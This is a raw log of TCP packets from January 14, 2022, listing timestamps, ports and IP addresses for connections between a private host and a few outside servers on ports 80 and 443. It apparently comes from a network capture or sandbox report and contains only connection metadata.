Jan 14, 2022 01:51:39.490576029 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490616083 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490631104 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490639925 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490654945 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490695000 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490734100 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490770102 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490787029 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490796089 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490808964 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490849018 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490890026 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490927935 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.490941048 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490947962 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.490967035 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491005898 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491044998 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491081953 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491101980 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.491110086 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.491121054 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491162062 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491199970 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491239071 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491252899 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.491261959 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.491276979 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491317987 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491357088 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491394043 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.491406918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.491415024 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.562900066 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.562963963 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563007116 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563047886 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563055038 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563087940 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563090086 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563129902 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563170910 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563178062 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563209057 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563251972 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563271999 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563292027 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563332081 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563343048 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563371897 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563410044 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563416958 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563450098 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563458920 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563489914 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563528061 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563544989 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563568115 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563606977 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563646078 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563684940 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563707113 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563715935 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563723087 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563761950 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563802004 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563838005 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563858986 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563865900 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.563879967 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563919067 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563957930 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.563997030 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564013958 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564019918 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564033985 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564074039 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564111948 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564148903 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564171076 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564179897 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564187050 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564225912 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564264059 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564302921 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564318895 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564327002 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564340115 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564378977 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564416885 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564425945 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564454079 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564492941 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564512014 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564522028 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564546108 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564574003 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564583063 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564623117 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564655066 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.564660072 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564699888 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.564726114 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.605700016 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636147022 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636207104 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636246920 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636286020 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636296034 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636327028 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636368990 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636408091 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636420965 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636429071 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636451006 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636491060 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636528969 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636542082 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636569023 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636588097 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636610031 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636647940 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636682987 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636687040 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636723995 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636733055 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636764050 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636802912 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636838913 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636866093 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636881113 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636888981 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636920929 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636959076 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.636990070 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.636997938 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637037039 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637053013 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637077093 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637118101 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637149096 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637165070 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637206078 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637243986 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637279987 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637293100 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637300014 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637319088 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637357950 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637388945 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637393951 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637433052 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637440920 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637470961 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637511015 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637548923 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637583971 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637598038 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637605906 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637623072 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637661934 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637698889 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637701988 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637737036 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637747049 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637777090 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637815952 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637901068 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637907028 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637948990 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.637979031 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.637985945 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.638135910 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.677278996 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.677340031 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.677897930 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709367990 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709427118 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709466934 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709489107 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709506035 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709546089 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709552050 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709585905 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709625959 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709630966 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709664106 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709702969 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709706068 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709742069 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709779024 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709785938 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709816933 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709867001 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.709882975 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709927082 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709965944 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.709980965 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:39.710005999 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:39.710053921 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:41.118875027 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.169157982 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.169259071 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.169370890 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.169394016 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.220155954 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.247467041 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.247558117 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.247692108 CET	49845	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.298139095 CET	80	49845	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.520035028 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.570018053 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.571178913 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.574162006 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.574224949 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.624269962 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.653633118 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.654512882 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.654834986 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.657105923 CET	49846	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.681113958 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.707344055 CET	80	49846	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.731385946 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.732657909 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.737829924 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.737935066 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.788261890 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.817197084 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.817496061 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.819612026 CET	49847	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:41.869996071 CET	80	49847	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:41.939388037 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:41.939429998 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:41.939616919 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:41.939948082 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:41.939970016 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:41.994208097 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:41.995982885 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:41.996009111 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:41.996025085 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:41.996524096 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:41.998559952 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.041908979 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.103844881 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.103945017 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.104089975 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.104116917 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.104135036 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.104170084 CET	49848	443	192.168.2.3	144.76.136.153
Jan 14, 2022 01:51:42.104181051 CET	443	49848	144.76.136.153	192.168.2.3
Jan 14, 2022 01:51:42.237231016 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.287360907 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.287471056 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.290868998 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.290883064 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.341232061 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.351277113 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.367011070 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.367089987 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.367150068 CET	49850	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.417979002 CET	80	49850	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.426944017 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.449230909 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.449335098 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.459253073 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.478893042 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.479017973 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.479131937 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.479166031 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.532126904 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.532165051 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532206059 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532246113 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532283068 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532308102 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.532322884 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532363892 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532365084 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.532403946 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532443047 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532449961 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.532483101 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532521963 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532536983 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.532562971 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.532612085 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.557490110 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.557523966 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.557600975 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.573957920 CET	49853	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.605065107 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605118036 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605156898 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605195045 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605192900 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605232954 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605252028 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605273008 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605312109 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605325937 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605351925 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605392933 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605402946 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605432034 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605470896 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605477095 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605511904 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605550051 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605562925 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605588913 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605628014 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605649948 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605668068 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605707884 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605726004 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.605745077 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605784893 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.605798006 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.625329018 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.626817942 CET	80	49853	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.678092003 CET	80	49854	93.189.42.167	192.168.2.3
Jan 14, 2022 01:51:42.678246021 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678251982 CET	49854	80	192.168.2.3	93.189.42.167
Jan 14, 2022 01:51:42.678288937 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678327084 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678323984 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678366899 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678388119 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678406000 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678446054 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678455114 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678488016 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678524971 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678549051 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678565979 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678606987 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678621054 CET	49852	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:51:42.678644896 CET	80	49852	141.8.194.74	192.168.2.3
Jan 14, 2022 01:51:42.678684950 CET	80	49852	141.8.194.74	192.168.2.3
